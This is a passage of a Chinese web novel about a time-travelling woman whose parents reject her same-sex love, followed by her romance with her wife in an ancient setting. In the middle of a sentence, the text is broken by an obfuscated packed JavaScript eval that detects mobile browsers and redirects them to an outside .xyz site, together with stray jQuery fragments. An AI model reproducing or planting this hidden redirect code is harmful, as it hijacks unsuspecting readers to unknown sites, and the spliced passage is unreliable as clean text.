肖母的眼眶瞬间红了,焦急地说道:“晨晨,你是不是遇到什么事了,怎么会有这种想法?可别胡思乱想啊,咱们可不能走这条路。要是让亲戚朋友、街坊邻居知道了,我们这老脸都没地方搁,以后还怎么抬头做人。”说着,她紧紧握住肖晨的手,仿佛这样就能把自己的观念传递给女儿。 肖晨心中一阵刺痛,她看着父母着急又不理解的模样,试图解释:“爸妈,爱情不应该分性别,我爱她,她也爱我,我们在一起很幸福。这不是一时冲动,也不是胡思乱想。” 肖父气得站起身来,在客厅里来回踱步:“不行,绝对不行!这不是幸福,这是错的!我们是为了你好,你不能毁了自己的人生。实在不行,我们明天就带你去医院看看,是不是心理上出了什么问题。” 肖晨也站起身,眼中满是倔强与坚持:“爸妈,我很清醒,我没有心理问题。我爱她,这不是病。我希望你们能理解我,接受她。” 客厅里气氛紧张到了极点,肖晨和父母各执一词,互不相让。父母的不理解,让肖晨感到无比痛苦,但她又深知改变父母的观念绝非易事,一场艰难的沟通与磨合,才刚刚开始。 肖父肖母一脸忧虑,肖母拉着肖晨的手,语重心长道:“女儿啊,咱们就是普通人家,得按常理过日子。你想想,这社会主流观念在那儿摆着呢,大多数人都接受不了同性之间的感情。国家也不承认同性婚姻,这就说明这种事不符合大众认知啊。” 肖父也在一旁附和:“是啊,晨晨。你知道南康白起吧,他的遭遇多让人心疼,最后落得那样的结局。你要是走这条路,以后指不定会吃多少苦,受多少委屈。我们是你爸妈,都是为你好,不想看你将来受苦。” 肖晨心中一阵酸涩,她明白父母是出于关心,但他们的固执也让自己难受。深吸一口气,肖晨缓缓说道:“爸妈,南康白起的事我知道,他的经历确实让人心痛。可这并不意味着所有同性恋人都会有那样的结局啊。时代在发展,观念也在慢慢改变,越来越多人开始理解和尊重同性群体了。” 肖母着急地摇头:“就算观念在变,可现在大多数人还是接受不了。你要是坚持,以后的路得多难走,周围人的眼光、舆论压力,你能承受得住吗?我们就你这么一个女儿,只希望你能平平安安、顺顺利利地过日子。” 肖晨眼眶泛红,握住母亲的手:“妈,我知道你们担心我,可爱情是无法控制的。我爱她,这种感情很纯粹。我相信只要我们坚定,就能面对那些压力。而且,我也希望通过自己,让你们看到同性之间的爱情同样真挚美好。” 肖父气得面色涨红,手指颤抖地指着肖晨,厉声道:“你要是现在能打消这个荒唐念头,我们还能陪你去医院好好看看,把你这错误的想法纠正过来。可你要是再这样执迷不悟下去,我们……我们就只能跟你断绝关系!我们丢不起这个人,不能天天承受别人异样的眼光!” 肖母早已泣不成声,瘫坐在沙发上,哀戚地望着肖晨,哽咽道:“晨晨,你就听爸妈一句劝吧,别再犟了。我们含辛茹苦把你养大,不盼着你大富大贵,就想你能走条正常的路,安稳生活。你这样,让我们以后怎么见人啊……” 肖晨如遭雷击,呆呆地站在原地,泪水在眼眶里打转。她没想到父母的态度竟如此决绝,心中满是痛苦与无奈。“爸妈,”她声音颤抖,“这不是荒唐的念头,这是我的真心。我不想失去她,也不想失去你们。难道在你们心里,别人的眼光比我的幸福还重要吗?” 肖父别过脸去,不愿再看肖晨,冷冷道:“你若继续执迷不悟,就别再认我们这对父母。我们没你这样的女儿!”说罢,转身走进房间,“砰”的一声,房门重重关上,那声响仿佛撞在肖晨的心上,震得她的心一阵刺痛。 肖晨望着紧闭的房门,又看看泪流满面的母亲,满心的悲戚与无助。她不明白,为何自己追求幸福的道路,会遭遇如此巨大的阻碍,亲情与爱情,难道真的不能两全吗? 28. 不被世俗接纳的爱 肖晨满心失落,深知父母一时半会儿难以接受自己的感情,无奈之下,她只能黯然回到出租屋。一进屋,她便呆呆地望着墙上李傲雪的画像,自责与挫败感如潮水般将她淹没,觉得自己实在太过没用,连最亲近的父母这一关都过不了。 在极度的苦闷中,她拿起手机,给好友子涵发了条微信,倾诉自己心中的烦忧。子涵收到消息后,深知肖晨此刻必定心情糟糕透顶,立马回复说在老地方咖啡馆见面。 不多时,两人在咖啡馆碰面。肖晨看着子涵熟悉而关切的面容,心中一阵暖流涌动,却又不知从何说起。犹豫片刻,她还是选择隐瞒穿越的离奇经历,只是红着眼,轻声说道:“子涵,我爱上了一个女子。” 子涵微微一愣,不过很快便恢复镇定,他静静地看着肖晨,眼中没有一丝惊讶与异样,只是充满了理解与关切。“然后呢?”子涵轻声问道,语气柔和,仿佛生怕惊扰到肖晨脆弱的情绪。 肖晨深吸一口气,将父母激烈反对,甚至以断绝关系相逼的事缓缓道出。说到动情处,泪水忍不住夺眶而出。“我不知道该怎么办了,子涵。我爱她,可我也不想失去父母。”肖晨声音颤抖,满心的痛苦与纠结。 子涵轻轻叹了口气,伸手递过一张纸巾,安慰道:“肖晨,别太难过。父母的观念一时难以转变,这确实很棘手。但爱情是你自己的,你得为自己的幸福争取。或许我们可以想些办法,慢慢让叔叔阿姨接受这件事。” 肖晨接过纸巾,擦了擦眼泪,无助地问道:“能有什么办法呢?他们态度太坚决了。” 子涵轻轻叹了口气,继续说道:“肖晨,我是真的理解你,知道你对这份感情是认真的。可是,咱们得面对现实呀,社会舆论这关不好过。大多数人的观念还是比较传统的,一旦你公开这段感情,难免会遭受各种议论和异样的眼光。” 她顿了顿,目光担忧地看着肖晨,“你自己要想想能不能承受得住这些。而且,不只是你,对方呢?她也得面对同样的压力,你确定她也能坦然接受这一切吗?” 肖晨咬着嘴唇,眼神中闪过一丝痛苦与挣扎。其实这些她也想过,只是一直不愿去面对。“我……我知道会有压力,可我真的不想因为这些就放弃她。至于她,我们之前聊过,她也说愿意和我一起面对。但我现在心里还是没底,不知道该怎么去应对这一切。” 子涵握住肖晨的手,安慰道:“我明白你的决心,可这不是小事,得慎重考虑。或许可以先观察一段时间,看看父母那边有没有缓和的余地,同时也再和她深入聊聊未来要面对的困难,确保你们都做好了充足的准备。无论你做什么决定,我都会支持你的。” 肖晨微微点头,心中五味杂陈。子涵的话虽然残酷,却也让她更加清醒地认识到现实的严峻。 子涵神色凝重,语重心长地继续劝道:“肖晨,你回去之后,真得好好想想我说的话。咱们终究是生活在社会这个大环境里,个人的力量太过渺小,根本没法跟整个社会的固有观念对抗。” 她轻轻摇头,一脸无奈,“除非你们两人能达成共识,一辈子都不公开这段特殊的感情,在其他人面前,就以姐妹的身份相处。这样或许能避免很多不必要的麻烦,也能让你们的生活稍微平静一些。” 肖晨眼神空洞地望着窗外,脑海里一片混乱。子涵的提议看似是个能维持现状的办法,可这意味着要永远隐藏自己的真心,像活在阴影里一般。“以姐妹相处……可这不是自欺欺人吗?我们明明相爱,却要装作只是普通姐妹,这种日子,真的能幸福吗?”她喃喃自语,声音里满是迷茫与不甘。 子涵心疼地看着肖晨,轻声说道:“我知道这对你来说很残忍,可现实就是如此。公开你们的感情,要面临的压力太大了,不只是来自社会舆论,还有双方的家庭。你得想清楚,为了这份爱,你愿意付出多大的代价。” 肖晨收回目光,看着子涵,眼中泪光闪烁:“子涵,我真的好难抉择。我爱她,想光明正大地和她在一起,可又害怕失去父母,害怕面对那些未知的压力。” 子涵轻轻抱住肖晨,拍了拍她的背:“别太着急做决定,给自己点时间。无论你最后怎么选,我都会在你身边的。”肖晨靠在子涵肩上,泪水忍不住流了下来。此刻的她,被现实的困境压得喘不过气,不知该何去何从。 肖晨与子涵告别后,满心的纠结与无助。一路上,她绞尽脑汁,却始终想不出如何才能做通父母的工作。无奈之下,她只能回到出租屋。 一进屋,她的目光便落在墙上李傲雪的画像上。她缓缓走到床边,看着画像中李傲雪温婉的模样,心中五味杂陈。随后,她疲惫地躺下,轻轻闭上眼,嘴里默默念起“520”。 瞬间,熟悉的光芒再次闪现,肖晨只觉一阵天旋地转,意识逐渐模糊。当她再次恢复意识时,已回到了古代的房间。 李傲雪一直守在床边,见肖晨很快悠悠转醒,眼中满是惊喜与担忧,赶忙凑上前,轻声问道:“少爷,您可算醒了,您在那边……一切可好?”她的眼神中写满关切,紧紧盯着肖晨,仿佛要从他的神情中探寻答案。 肖晨看着李傲雪那满含期待的眼神,心中一阵刺痛,缓缓开口道:“傲雪,我的父母……他们没有办法接受你,不同意我们在一起。”话一出口,他便别过头去,不敢直视李傲雪的眼睛,同时隐瞒了自己在现代身为女子的事实。 李傲雪听闻此言,脸色瞬间变得煞白,身子微微颤抖起来。她嘴唇动了动,半晌才挤出一句话:“少爷,为何……为何伯父伯母不愿接受我?是我哪里做得不好吗?”说着,眼眶已泛起泪花。 肖晨急忙握住李傲雪的手,安抚道:“傲雪,你别多想,你没有任何错处。只是他们生活的地方,观念与这里大不相同,对于我们这样的感情,他们一时难以接受。” 李傲雪轻轻抽回手,泪水夺眶而出,哽咽着说:“少爷,我知道您为难。可我……我真的好害怕失去您。难道,我们真的没有办法在一起了吗?” 肖晨看着李傲雪如此伤心,心如刀绞,赶忙将她拥入怀中,说道:“傲雪,你放心,我不会放弃的。我定会想办法说服他们,让他们接受你。给我些时间,好不好?” 李傲雪在肖晨怀中哭泣许久,才渐渐平复情绪,微微点头:“少爷,我等您。只是,您要快些,我怕……怕时间久了,会生变故。” 肖晨抱紧李傲雪,坚定地说:“傲雪,相信我。无论如何,我都不会辜负你。下次,我回去定会好好与父母沟通,争取早日让他们认可我们。” 李傲雪抬起满是泪痕的脸,眼中仍残留着深深的恐惧与担忧,嗫嚅着:“少爷,若是伯父伯母始终不肯接受我这个儿媳,那该如何是好?”她紧紧抓住肖晨的衣袖,仿佛那是她此刻唯一的依靠。 肖晨看着李傲雪楚楚可怜的模样,心中柔情与坚定交织,毫不犹豫地说道:“傲雪,倘若真到了那一步,我便留在这里生活,从此与你长相厮守,永不分离。”他轻轻为李傲雪拭去脸上的泪水,目光中满是深情与决然。 李傲雪微微一怔,眼中闪过一丝惊喜与感动,随即便又被忧虑填满:“少爷,您……您真的愿意为了我,放弃那边的一切吗?那可是您生长的地方,还有您的父母……我不想因为我,让您与他们分离,更不想让您为难。” 肖晨将李傲雪搂得更紧,认真地说道:“傲雪,你在我心中的分量,丝毫不亚于我的父母。若两边实在无法两全,我定不会让你伤心难过。我知道这对父母而言很残忍,但我也不能失去你。” 李傲雪靠在肖晨怀里,心中百感交集。一方面,她为肖晨愿意为自己做出如此重大的牺牲而感动不已;另一方面,又因可能造成肖晨与家人分离而深感愧疚。“少爷,您对我这般深情,我……我无以为报。只愿您再好好想想,或许还有其他法子,能让伯父伯母接受我们。” 肖晨点头,轻声说道:“我会再努力试试的,傲雪。无论如何,我们都要一起面对,未来的路,不管多艰难,我都不会松开你的手。” 李傲雪仰起头,目光中透着坚韧与温柔,轻声却又坚定地说道:“少爷,我也绝不会离开您。但我同样不能眼睁睁看着您忤逆父母,让您陷入两难之境。倘若伯父伯母始终不肯接受我这个儿媳,我……我愿意好好孝敬他们,用真心去打动他们,总有一天,定要得到他们的认可。” 肖晨心中一暖,看着李傲雪,满是感动与心疼。他轻抚着李傲雪的发丝,说道:“傲雪,你总是这般善良懂事,处处为我着想。只是这条路必定艰难,你……真的做好准备了吗?” 李傲雪重重点头,眼神中满是决然:“少爷,我心意已决。只要能和您在一起,再艰难我也不怕。我相信,人心都是肉长的,只要我真心对待伯父伯母,他们终会看到我的诚意。” 肖晨紧紧握住李傲雪的手,仿佛要将自己的力量传递给她:“傲雪,有你相伴,是我此生最大的幸运。若真走到那一步,我们便一同努力,我相信,父母定会被你的真心所打动。” 李傲雪微微颔首,脸上浮现出一丝浅浅的笑容,尽管眼中还残留着泪花,但此刻的她,因心中有了坚定的信念,显得格外勇敢。 肖晨心中思绪如麻,暗自思忖着:若真将傲雪带回现代,自己在那边本是女儿身,这身份转换后该如何与她相处?虽说傲雪爱的是自己的灵魂,可当她面对与如今截然不同的女性身体时,她真的能坦然接受吗?万一她无法接受,又该如何是好? 种种担忧在肖晨心头翻涌,经过一番痛苦的挣扎,他还是决定隐瞒自己现代的真实性别,就在这古代与傲雪好好生活下去。毕竟,这里有他与傲雪共同经历的点点滴滴,有一份真挚且深厚的感情。而且,在现代面临的诸多难题,尤其是身份差异带来的冲击,实在难以预料后果。 想到这里,肖晨看向李傲雪,眼中满是温柔与坚定。他轻轻握住李傲雪的手,说道:“傲雪,既然如此,我们便在这好好生活。往后的日子,无论遇到何事,我都不会再让你受委屈。” 李傲雪紧紧拉住肖晨的手,眼中满是担忧与不舍,声音带着一丝颤抖说道:“少爷,你要是决定留在这里生活,下次就不要回去了好吗?万一伯父伯母舍不得你,不让你再来了,我……我该怎么办呀?”她的眼神中透露出深深的恐惧,生怕会与肖晨分离。 肖晨看着李傲雪如此害怕的模样,心疼不已,轻轻将她拥入怀中,安慰道:“傲雪,别怕。我既已决定留下,就不会轻易再离开。就算回去,我也定会想办法回到你身边。父母虽一时难以接受我们,但他们也不愿看到我伤心难过。相信我,我不会让你陷入那样的境地。” 李傲雪在肖晨怀中微微点头,可心中的担忧仍未完全消散:“少爷,我知道您会尽力,可我还是忍不住担心。您不知道,您离开的这段时间,我一直都提心吊胆,就怕您不再回来。” 肖晨轻轻抚摸着李傲雪的背,温柔地说道:“傲雪,是我不好,让你如此担惊受怕。以后不会了,我会一直陪在你身边。我们就在这里,一起过安稳的日子。”他抱紧李傲雪,仿佛要用行动向她证明自己的决心。 李傲雪抬起头,泪眼汪汪地看着肖晨:“少爷,您若能一直陪着我,便是我此生最大的幸福。 肖晨凝望着李傲雪,眼中爱意如潮,再也按捺不住内心的深情,缓缓凑近,轻轻吻上了她的唇。李傲雪微微一颤,随即闭上双眼,热烈回应着这份爱意。 两人的唇瓣交织,仿佛时间都在此刻静止。他们吻得难舍难分,彼此都沉浸在这炽热的情感中,仿佛整个世界只剩下对方的气息。这份爱意在唇齿相依间肆意蔓延,不想放开彼此,只想让这一刻永恒,将彼此的深情通过这个吻烙印在灵魂深处。 就在肖晨和李傲雪沉浸在热吻之中时,房门毫无预兆地“吱呀”一声被推开。肖母满脸笑意地站在门口,本想说些什么,却瞬间愣住,紧接着打趣道:“哟,我这来的可真不是时候,你们继续啊,早点让我抱孙子。” 肖晨和李傲雪如遭雷击,瞬间分开,两人的脸“唰”地一下红到了耳根。李傲雪又羞又窘,连忙低下头,恨不得找个地缝钻进去。肖晨也尴尬得不知所措,结结巴巴地喊了声:“母亲……您怎么突然就进来了。” 肖母捂嘴轻笑,眼中满是促狭:“瞧你们这害羞的模样,我这不是看你们感情好,心里高兴嘛。早点成家,给我生个大胖孙子,我这老太婆啊,也就心满意足咯。”说罢,她佯装要退出去,还不忘回头眨眨眼,“你们继续,我就不打扰啦。” 肖晨无奈地看着母亲,心中又好气又好笑。待母亲关上门后,他转头看向李傲雪,两人对视一眼,忍不住笑出声来,刚刚的尴尬在这笑声中渐渐消散。 肖晨红着脸,有些不好意思地挠挠头说道:“看来咱们以后可得多注意些,不能这般忘情,差点就出丑了。” 李傲雪轻轻颔首,脸颊依旧绯红,轻声应道:“少爷说的是。要是刚刚让丫鬟们看到,那可就太羞人了,还好这次进来的是母亲。”她用手轻轻捋了捋耳边的发丝,眉眼间还残留着方才的羞涩。 肖晨看着李傲雪娇羞的模样,忍不住又伸手握住她的手,调侃道:“今日算是个教训,往后我们行事确实得更加谨慎,可不能再这般大意,平白让人看了笑话。” 李傲雪微微点头,含情脉脉地看着肖晨,轻声说道:“嗯,一切都听少爷的。只是……只是刚刚与少爷相处,情不自禁便……”她声音越来越小,头也愈发低垂,那模样愈发显得娇俏可爱。 肖晨笑着将李傲雪轻轻拥入怀中,柔声道:“我又何尝不是,见你如此动人,便失了分寸。但你放心,往后我定会注意,不会再让你陷入这般尴尬境地。” 肖晨面带微笑,凑近李傲雪,轻声说道:“你这般动人,之前做的那几件睡衣实在别致,往后晚上穿与我瞧便好。今日我无需去读书,正好到外面看看家中店铺,免得母亲又胡思乱想。等到了晚上,咱们……”他说着,眼中闪过一丝温柔与期待。 李傲雪脸颊泛红,轻轻点头,小声嗔怪道:“少爷就会打趣我。那我便依着您,晚上穿与您看。您出去忙正事,可要早些回来。” 肖晨宠溺地刮了刮李傲雪的鼻子,说道:“放心,我心里有数,定会早早归来。”说罢,他整理了一下衣衫,便出门去查看店铺,满心期待着夜晚与李傲雪的相聚。 肖晨出门后,穿梭在热闹的街市中。他一边走,一边思索着店铺的经营状况。路过自家绸缎庄时,他停下脚步,进店与掌柜仔细交谈,了解近期的生意行情、货物进出,还对陈列布局提出了一些改进的想法。 从绸缎庄出来,肖晨又去了米铺。他与伙计们一一打过招呼,询问了粮食的采购渠道和价格波动情况。看着店铺里人来人往,生意还算兴隆,他心中稍感欣慰,觉得父母多年的经营确实打下了不错的基础。 忙碌了大半天,太阳渐渐西斜,天边染上了一抹绚丽的晚霞。肖晨估摸着时间,加快了脚步往家赶。一路上,他脑海里不断浮现出李傲雪温婉的模样,想象着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993189|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上穿上睡衣的娇羞姿态,嘴角不自觉地上扬。 回到家中,天色已暗。肖晨匆匆洗漱过后,便直奔自己和李傲雪的房间。还未进门,他便闻到了屋内传来的淡淡熏香。轻轻推开门,只见屋内烛火摇曳,李傲雪身着那件精致的睡衣,正坐在床边,手中拿着一本诗集,借着烛光静静阅读。 听到开门声,李傲雪抬起头,目光与肖晨交汇,脸颊瞬间泛起红晕。她连忙起身,迎向肖晨,轻声说道:“少爷,您可算回来了,今日外出可还顺利?” 肖晨走上前,握住李傲雪的手,笑着说:“一切都好,店铺的生意也都平稳。只是这一天没见你,心里想得紧。”说着,他的目光在李傲雪身上打量,那件睡衣剪裁合身,恰到好处地勾勒出她曼妙的身姿,烛光下,更添几分妩媚。 李傲雪被肖晨看得有些不好意思,微微低下头,轻声嗔怪道:“少爷又打趣我了。”肖晨将她轻轻拥入怀中,柔声道:“我哪里是打趣,我说的可都是真心话。你今日这般美丽,实在让我心动不已。” 李傲雪微微仰头,双颊似染胭脂,眼眸含情脉脉,轻声说道:“少爷喜欢,我,我就每天晚上穿给你看好了。”她声音轻柔,带着几分羞涩与娇嗔,仿佛说出这话用尽了全身的勇气。 肖晨听了,心中满是欢喜与感动,他抱紧李傲雪,在她额头轻轻一吻,柔声道:“傲雪,你这般贴心,真真是让我不知如何疼惜才好。有你相伴,实乃我此生之幸。” 李傲雪依偎在肖晨怀里,感受着他的温暖与爱意,心中满是甜蜜。两人就这样静静相拥了许久,仿佛时间都为他们停留。 过了一会儿,肖晨松开李傲雪,拉着她的手走到床边坐下。他拿起桌上的茶壶,为两人各倒了一杯茶,递了一杯给李傲雪,说道:“奔波了一天,喝口茶润润喉。” 李傲雪接过茶杯,轻抿一口,茶香在口中散开,让人心神舒畅。她看着肖晨,眼中满是关切,问道:“少爷今日外出查看店铺,可发现了什么问题?” 肖晨微微皱眉,思索片刻后说道:“绸缎庄的货物种类还需再丰富些,以迎合不同顾客的喜好。米铺那边,采购渠道虽稳定,但价格上若能再谈下一些,利润便能多几分。不过这些都不是难事,慢慢调整便是。” 李傲雪认真听着,轻轻点头,说道:“少爷心思缜密,定能将家中生意打理得越来越好。若有需要我帮忙的地方,少爷尽管开口,我也想为这个家出份力。” 肖晨看着李傲雪,眼中满是赞赏,说道:“有你这话,我便安心许多。你若能帮我出出主意,那自然是再好不过。往后咱们夫妻二人携手,定能让家中诸事顺遂。” 李傲雪轻轻扭动着身子,娇嗔着坐在肖晨怀里,眉眼间带着些许委屈,嘟囔道:“少爷整日想着那么多事情,又是店铺,又是家中事务,唯独把我没有放在第一位呢。” 肖晨一听,赶忙抱紧李傲雪,一脸着急地解释:“哪有啊,我的心都快被你填满了,怎么会不把你放在首位。” 李傲雪抬眸,眼波流转,似有泪光闪烁,轻声抱怨:“我们新婚才没多久,可亲近的次数却寥寥无几,而且算起来也就2次,还都是我主动的,少爷你说,你是不是对我不上心。” 肖晨心中满是愧疚,他轻抚李傲雪的发丝,一脸歉意地说道:“傲雪,是我不好,是我疏忽了你的感受。这段时间忙着家里的事,冷落了你。往后我一定改,多留些时间陪你。”说着,他在李傲雪的脸颊上落下轻轻一吻。 李傲雪微微侧头,躲开他的吻,佯装生气道:“光嘴上说可不行,少爷得拿出实际行动来。” 肖晨连忙点头,将李傲雪抱得更紧,说道:“好好好,今晚我就哪儿都不去,专心陪着你。往后也一定把你放在心尖尖上,时时刻刻都念着你。” 李傲雪嘴角微微上扬,露出一抹不易察觉的笑意,她靠在肖晨怀里,轻声说道:“这还差不多,若是少爷再敢冷落我,我可饶不了你。” 肖晨笑着应道:“是是是,你说什么就是什么,我定不敢再犯。” 肖晨温柔地抱着李傲雪,缓缓走到床榻边,轻轻将她放下后,自己也顺势躺了上去。李傲雪脸颊绯红,眼神中满是娇羞与期待,她伸出纤细的手指,轻柔地替肖晨褪去衣衫。 肖晨见她这般举动,只当她奔波一天太过劳累,便轻声安抚道:“放心,我不会走的,就在这儿陪着你。” 李傲雪微微嘟起嘴,眼中闪过一丝嗔怪,声音软糯且带着几分急切:“少爷,我……我都这样了。你怎么还不主动呀。”说罢,她微微别过头去,可目光却又偷偷看向肖晨,那模样既羞涩又可爱。 肖晨嘴角噙着一抹戏谑的笑,故意逗她:“该怎么主动呀,我着实不会啊。”李傲雪又羞又急,跺脚嗔道:“少爷怎么这般不开窍!” 此刻满心的情意让她顾不了那么多,心一横,双手轻轻捧住肖晨的脸,微微仰头,主动吻了上去。 她的唇带着丝丝甜意与温热,轻轻触碰肖晨的唇。肖晨先是一怔,随即被她的热情点燃,双手下意识地搂住她的腰肢,回应着这个热烈的吻。 李傲雪实在是太爱眼前这人,内心的情感如决堤之水,让她急切得难以自抑。她的动作愈发大胆,呼吸也变得急促起来。 肖晨着实没有想到,平日里在众人面前胆小羞怯的李傲雪,竟还有如此热情似火的一面。她此刻的表现,全然没了往日的矜持,倒像是一头勇猛无畏的小老虎,主动且热烈地表达着自己的爱意。这强烈的反差,让肖晨既惊讶又惊喜。 结束后,李傲雪目光灼灼地凝视着肖晨,眼中满是不容置疑的占有欲,语气坚定地说道:“少爷,你这辈子都是我的。从你的人到你的心,包括你的一切,统统都只能属于我。你可记住了,绝不能让别的女人碰你一下。” 肖晨被她这副模样逗得心中一暖,伸手轻轻刮了刮她的鼻子,笑着应道:“好好好,我都听你的。这辈子就守着你一人,旁人再美,我也不会多看一眼。” 李傲雪这才满意地笑了,脸上的红晕未退,又往肖晨怀里蹭了蹭,娇嗔道:“少爷可要说话算话,若是让我发现你与别的女子有什么不清不楚,我……我可饶不了你。” 肖晨抱紧她,在她额头上落下一吻,郑重其事地说道:“我自然说话算话。傲雪,你在我心里是独一无二的,容不得旁人插足。你这般紧张我,我欢喜还来不及呢。” 李傲雪听到肖晨这般承诺,这才满意地笑了,那笑容如同春日绽放的花朵般灿烂。此刻的她,对眼前这位小夫君愈发依赖,仿佛他就是自己生命中最重要的依靠。 然而,肖晨话锋一转,略带无奈地说道:“只不过,我的朋友可都是女子。” 李傲雪一听,笑容瞬间僵住,警惕地抬头看向肖晨,眼神中透露出一丝醋意,问道:“都是女子?少爷与她们是何交情?为何朋友尽是女子?” 肖晨赶忙解释,生怕李傲雪误会:“傲雪,你别多想。我自幼与她们一同长大,大家就像亲人一般,纯粹是儿时的情谊,并无其他。而且这么多年,我对她们也只是朋友之情,心里只有你。” 李傲雪微微撇嘴,哼了一声道:“即便如此,往后你与她们相处,也得注意分寸。我可不希望有别的女子与我争抢你。” 肖晨连忙点头,安抚道:“那是自然,我定会注意。往后与她们往来,都带上你,让你安心。” 李傲雪这才稍稍释怀,重新靠在肖晨怀里,小声嘟囔:“这还差不多,少爷你可莫要辜负我对你的一片真心。” 29. 他想救她,却没办法 肖晨对她说到:我是不会和你分开的,只是,只是,李傲雪听着肖晨吞吞吐吐的话语,心中那股不好的预感愈发强烈,急切地追问道:“少爷,只是什么?” 肖晨微微叹了口气,缓缓说道:“如果我没碰到你之前,也许我会爱上别人。”话一出口,他思绪飘到了那个原本属于自己的现代世界。在心里默默想着,要是自己还在现代,凭借着自己的喜好,或许会找个帅气的男生谈恋爱,平平淡淡地过完一生。可如今来到古代,还成为了男人,娶了李傲雪,这一切都像是一场不可思议的梦,许多事都超出了自己原本的设想。 李傲雪听闻此言,心中一阵刺痛,眼眶瞬间红了起来,她抬起头,难以置信地看着肖晨,声音带着一丝颤抖:“少爷,你……你这话是什么意思?难道在你心里,我终究还是比不上你未曾遇见的那个人?” 肖晨见李傲雪如此难过,心中懊悔不已,赶忙将她紧紧拥入怀中,急切地解释道:“傲雪,你别误会。我不是这个意思,我只是在说假如。如今我已经遇到了你,我的心里便只有你一人,那些假设根本没有任何意义。你就是我此生最重要的人,谁也无法取代。” 李傲雪在肖晨怀里抽泣着,说道:“少爷,你知道吗?你这话让我好害怕,我真的好怕失去你。你以后不许再说这样的话了,好不好?” 肖晨心疼地轻抚着李傲雪的后背,连连点头:“好,我不说了。是我不好,让你伤心了。傲雪,相信我,我会一直陪在你身边,不离不弃。” 李傲雪紧紧地抱着肖晨,仿佛用尽了全身的力气,生怕一松手他就会消失一般,声音带着哭腔说道:“我只要少爷一个人。我有多么喜欢你,爱你超过我的生命。”她的脸颊紧紧贴在肖晨的胸口,能清晰地听到他有力的心跳声,这让她略微安心了些。 肖晨感受着李傲雪的深情,心中满是感动与怜惜,他轻轻抚摸着她的秀发,缓缓开口:“在遇到你之前,是没有人喜欢我的。我就是成天读书、玩游戏的普通人。”他微微仰头,眼神中带着一丝对往昔的追忆,仿佛又回到了那个熟悉却遥远的现代世界。在那里,他不过是茫茫人海中平凡的一员,每日过着千篇一律的生活,身边围绕的只有书本和虚拟的游戏世界,从未想过会在另一个时空,收获这般炽热且纯粹的爱情。 李傲雪微微抬头,泪眼朦胧地看着肖晨,眼中满是心疼:“少爷,怎么会呢?你这般好,若我早些遇到少爷,定不会让少爷觉得无人喜爱。”她伸出手,轻轻擦拭掉肖晨脸颊上不知何时滑落的一滴泪,动作轻柔而小心翼翼。 肖晨看着眼前为自己心疼不已的李傲雪,心中一阵暖流涌动。他紧紧握住李傲雪的手,深情地说道:“傲雪,幸好我来到了这里,遇到了你。你就是上天给我最好的礼物,让我感受到了从未有过的温暖与爱意。” 李傲雪眼中闪过一丝忧虑,声音带着几分忐忑说道:“少爷能这么说,我很开心,可是,可是少爷说,你的父母不接受我,他们会不会把我赶出去,给你重新娶亲。”她紧紧揪着肖晨的衣角,仿佛这样就能抓住一丝安全感。 肖晨心中一滞,思绪瞬间又被拉回到现代与古代交织的复杂情境中。他心里暗自苦笑,在现代父母是不接受同性恋的,按照那时的观念,自己作为同性恋者,根本不可能像正常异性恋那样娶亲,甚至只有“嫁”人的份。可如今身处古代,情况却截然不同。 看着李傲雪担忧的模样,肖晨赶忙回过神来,将她拥得更紧,安慰道:“傲雪,你别担心。即便父母一开始不接受,我也不会让他们把你赶走,更不会重新娶亲。我认定了你,就不会改变。”他轻轻抬起李傲雪的下巴,让她直视自己的眼睛,眼神中满是坚定与深情,“无论如何,我都会站在你这边,我们一起面对,总会有办法让他们认可你的。” 李傲雪看着肖晨坚定的眼神,心中的担忧稍稍减轻了些,但仍有些不安:“可是少爷,万一……” 肖晨不等她说完,便用手指轻轻抵住她的嘴唇:“没有万一,相信我。我不会让任何人把我们分开。” 李傲雪一脸信赖地看着肖晨,轻声说道:“少爷,你怎么说我怎么做就是。”她眼中满是对肖晨的依赖与顺从。 肖晨听她这般回应,心中一动,决定试探一下,缓缓开口道:“傲雪,其实有件事我一直想跟你说,这副身体的灵魂可不是我的。要是哪一天这副身体原本的灵魂回来了,你要跟他过一辈子吗?”说完,他紧张地看着李傲雪,想从她的反应中探寻她对自己感情的深度。 李傲雪听闻此言,先是一愣,脸上浮现出一丝惊愕。但很快,她的眼神变得坚定起来,伸手轻轻握住肖晨的手,认真说道:“少爷,不管这身体里住的是谁的灵魂,我喜欢的是现在与我相处、对我关怀备至的你。就算真有那么一天,那副身体原来的灵魂回来,我……我也只认定你。”她微微低下头,脸颊泛起红晕,声音虽小却透着不容置疑的坚决,“我和你一起经历了这么多,这份感情不是说断就能断的。” 肖晨听着李傲雪的表白,心中涌起一阵感动。他原本还有些忐忑,害怕李傲雪会因为这离奇的说法而对自己产生疏离。此刻见她如此坚定,不禁紧紧将李傲雪拥入怀中,感慨地说道:“傲雪,你放心,不管发生什么,我都不会离开你。你就是我在这世上最珍视的人。” 李傲雪微微仰头,目光温柔且坚定地看着肖晨,轻声说道:“只有少爷才能和我有共同的语言,和我成婚洞房的是你,女子怎么可以嫁二夫呢。”她的声音轻柔,却带着一种不容置疑的决然,仿佛在向天地宣告自己对这份感情的忠贞不渝。 肖晨轻轻抚摸着李傲雪的秀发,满是感慨地说道:“我就是遇到了你,要是换了别人,也许这日子会被逼疯。”他微微叹了口气,眼神中流露出一丝庆幸与感激,“你懂我那些奇奇怪怪的想法,能包容我的一切。在这陌生的世界里,你就像我唯一的依靠,是你让我真正感受到了生活的美好。” 李傲雪脸上泛起羞涩的红晕,嘴角微微上扬,露出幸福的笑容:“少爷,我也一样呀。自从遇到少爷,我的生活才变得这般丰富多彩,充满了乐趣。以前从未想过,会遇到像少爷这样特别的人。”她将头靠在肖晨的肩上。 肖晨抱紧李傲雪,轻声说道:“傲雪,我们都不能放开彼此的手。”李傲雪用力地点点头,低声回应道:“嗯,少爷,我不会放开的,永远都不会。” 